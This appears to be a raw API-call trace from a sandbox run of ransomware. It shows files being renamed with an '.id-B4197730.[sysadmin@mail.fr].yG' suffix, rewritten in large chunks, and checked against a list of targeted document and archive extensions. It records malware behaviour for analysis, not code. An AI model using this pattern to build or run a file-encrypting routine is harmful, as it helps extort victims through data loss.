	[0044.746] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0044.746] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1
	[0044.746] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0044.746] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e43058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0044.971] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0044.972] ReadFile (in: hFile=0x34c, lpBuffer=0x3e83058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e83058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.614] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0045.614] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0045.614] ReadFile (in: hFile=0x34c, lpBuffer=0x3ec3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ec3058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0045.675] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.675] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0045.686] SetEndOfFile (hFile=0x34c) returned 1
	[0045.686] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0045.686] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.686] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.687] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.687] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.689] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0045.689] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0045.690] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0045.690] CloseHandle (hObject=0x34c) returned 1
	[0046.146] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0046.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.146] lstrlenW (lpString=".doc") returned 4
	[0046.146] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.146] lstrlenW (lpString=".docx") returned 5
	[0046.146] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0046.146] lstrlenW (lpString=".pdf") returned 4
	[0046.147] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.147] lstrlenW (lpString=".xls") returned 4
	[0046.147] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.147] lstrlenW (lpString=".xlsx") returned 5
	[0046.147] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0046.147] lstrlenW (lpString=".ppt") returned 4
	[0046.147] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.147] lstrlenW (lpString=".zip") returned 4
	[0046.147] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.147] lstrlenW (lpString=".rar") returned 4
	[0046.147] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.147] lstrlenW (lpString=".bz2") returned 4
	[0046.147] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.147] lstrlenW (lpString=".7z") returned 3
	[0046.147] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.147] lstrlenW (lpString=".dbf") returned 4
	[0046.147] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.147] lstrlenW (lpString=".1cd") returned 4
	[0046.147] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.147] lstrlenW (lpString=".jpg") returned 4
	[0046.148] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString=".doc") returned 4
	[0046.148] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.148] lstrlenW (lpString=".docx") returned 5
	[0046.148] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0046.148] lstrlenW (lpString=".pdf") returned 4
	[0046.148] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.148] lstrlenW (lpString=".xls") returned 4
	[0046.148] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.148] lstrlenW (lpString=".xlsx") returned 5
	[0046.148] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0046.148] lstrlenW (lpString=".ppt") returned 4
	[0046.148] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString=".zip") returned 4
	[0046.148] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.148] lstrlenW (lpString=".rar") returned 4
	[0046.148] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.148] lstrlenW (lpString=".bz2") returned 4
	[0046.148] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.148] lstrlenW (lpString=".7z") returned 3
	[0046.148] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString=".dbf") returned 4
	[0046.148] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString=".1cd") returned 4
	[0046.148] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.148] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55
	[0046.148] lstrlenW (lpString=".jpg") returned 4
	[0046.148] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.149] lstrcmpiW (lpString1=".msu", lpString2=".yG") returned -1
	[0046.149] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33
	[0046.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0046.149] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=2141433) returned 1
	[0046.149] CloseHandle (hObject=0x34c) returned 1
	[0046.149] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80
	[0046.149] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.149] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0046.149] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0046.150] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0x0) returned 1
	[0046.150] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0046.150] ReadFile (in: hFile=0x34c, lpBuffer=0x3e43058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e43058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0046.193] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0046.193] ReadFile (in: hFile=0x34c, lpBuffer=0x3e83058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3e83058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0046.256] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0046.256] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x312fc24 | out: lpNewFilePointer=0x0) returned 1
	[0046.256] ReadFile (in: hFile=0x34c, lpBuffer=0x3ec3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ec3058*, lpNumberOfBytesRead=0x312fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0046.319] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.319] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x312fca8, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fca8*=0xc012e, lpOverlapped=0x0) returned 1
	[0046.330] SetEndOfFile (hFile=0x34c) returned 1
	[0046.330] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x40000) returned 0x4362ca0
	[0046.334] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0046.334] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0046.335] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0046.335] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0046.337] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x312fc74 | out: lpNewFilePointer=0x0) returned 1
	[0046.337] WriteFile (in: hFile=0x34c, lpBuffer=0x4362ca0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc80, lpOverlapped=0x0 | out: lpBuffer=0x4362ca0*, lpNumberOfBytesWritten=0x312fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0046.338] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0046.338] CloseHandle (hObject=0x34c) returned 1
	[0046.832] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString=".doc") returned 4
	[0046.833] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.833] lstrlenW (lpString=".docx") returned 5
	[0046.833] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0046.833] lstrlenW (lpString=".pdf") returned 4
	[0046.833] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.833] lstrlenW (lpString=".xls") returned 4
	[0046.833] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.833] lstrlenW (lpString=".xlsx") returned 5
	[0046.833] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0046.833] lstrlenW (lpString=".ppt") returned 4
	[0046.833] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString=".zip") returned 4
	[0046.833] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.833] lstrlenW (lpString=".rar") returned 4
	[0046.833] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.833] lstrlenW (lpString=".bz2") returned 4
	[0046.833] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.833] lstrlenW (lpString=".7z") returned 3
	[0046.833] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString=".dbf") returned 4
	[0046.833] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString=".1cd") returned 4
	[0046.833] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.833] lstrlenW (lpString=".jpg") returned 4
	[0046.833] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.833] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString=".doc") returned 4
	[0046.834] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0046.834] lstrlenW (lpString=".docx") returned 5
	[0046.834] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1
	[0046.834] lstrlenW (lpString=".pdf") returned 4
	[0046.834] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0046.834] lstrlenW (lpString=".xls") returned 4
	[0046.834] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0046.834] lstrlenW (lpString=".xlsx") returned 5
	[0046.834] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0046.834] lstrlenW (lpString=".ppt") returned 4
	[0046.834] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0046.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString=".zip") returned 4
	[0046.834] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0046.834] lstrlenW (lpString=".rar") returned 4
	[0046.834] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0046.834] lstrlenW (lpString=".bz2") returned 4
	[0046.834] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0046.834] lstrlenW (lpString=".7z") returned 3
	[0046.834] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0046.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString=".dbf") returned 4
	[0046.834] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0046.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString=".1cd") returned 4
	[0046.834] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0046.834] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55
	[0046.834] lstrlenW (lpString=".jpg") returned 4
	[0046.834] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0046.834] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0046.834] lstrlenW (lpString="msjhn_boot.ttf") returned 14
	[0046.834] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0046.913] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=162331) returned 1
	[0046.913] CloseHandle (hObject=0x34c) returned 1
	[0046.913] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0046.914] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.914] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString=".doc") returned 4
	[0046.914] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString=".docx") returned 5
	[0046.914] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0046.914] lstrlenW (lpString=".pdf") returned 4
	[0046.914] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString=".xls") returned 4
	[0046.914] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0046.914] lstrlenW (lpString=".xlsx") returned 5
	[0046.914] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0046.914] lstrlenW (lpString=".ppt") returned 4
	[0046.914] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString=".zip") returned 4
	[0046.914] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0046.914] lstrlenW (lpString=".rar") returned 4
	[0046.914] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString=".bz2") returned 4
	[0046.914] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString=".7z") returned 3
	[0046.914] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString=".dbf") returned 4
	[0046.914] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString=".1cd") returned 4
	[0046.914] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0046.914] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.914] lstrlenW (lpString=".jpg") returned 4
	[0046.914] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString=".doc") returned 4
	[0046.915] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString=".docx") returned 5
	[0046.915] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0046.915] lstrlenW (lpString=".pdf") returned 4
	[0046.915] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString=".xls") returned 4
	[0046.915] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0046.915] lstrlenW (lpString=".xlsx") returned 5
	[0046.915] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0046.915] lstrlenW (lpString=".ppt") returned 4
	[0046.915] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString=".zip") returned 4
	[0046.915] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0046.915] lstrlenW (lpString=".rar") returned 4
	[0046.915] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString=".bz2") returned 4
	[0046.915] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString=".7z") returned 3
	[0046.915] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString=".dbf") returned 4
	[0046.915] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString=".1cd") returned 4
	[0046.915] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0046.915] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0046.915] lstrlenW (lpString=".jpg") returned 4
	[0046.915] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0046.915] lstrcmpiW (lpString1=".sys", lpString2=".yG") returned -1
	[0046.916] lstrlenW (lpString="hiberfil.sys") returned 12
	[0046.916] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString=".doc") returned 4
	[0046.916] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString=".docx") returned 5
	[0046.916] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0046.916] lstrlenW (lpString=".pdf") returned 4
	[0046.916] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString=".xls") returned 4
	[0046.916] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0046.916] lstrlenW (lpString=".xlsx") returned 5
	[0046.916] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0046.916] lstrlenW (lpString=".ppt") returned 4
	[0046.916] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString=".zip") returned 4
	[0046.916] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0046.916] lstrlenW (lpString=".rar") returned 4
	[0046.916] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString=".bz2") returned 4
	[0046.916] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString=".7z") returned 3
	[0046.916] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString=".dbf") returned 4
	[0046.916] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
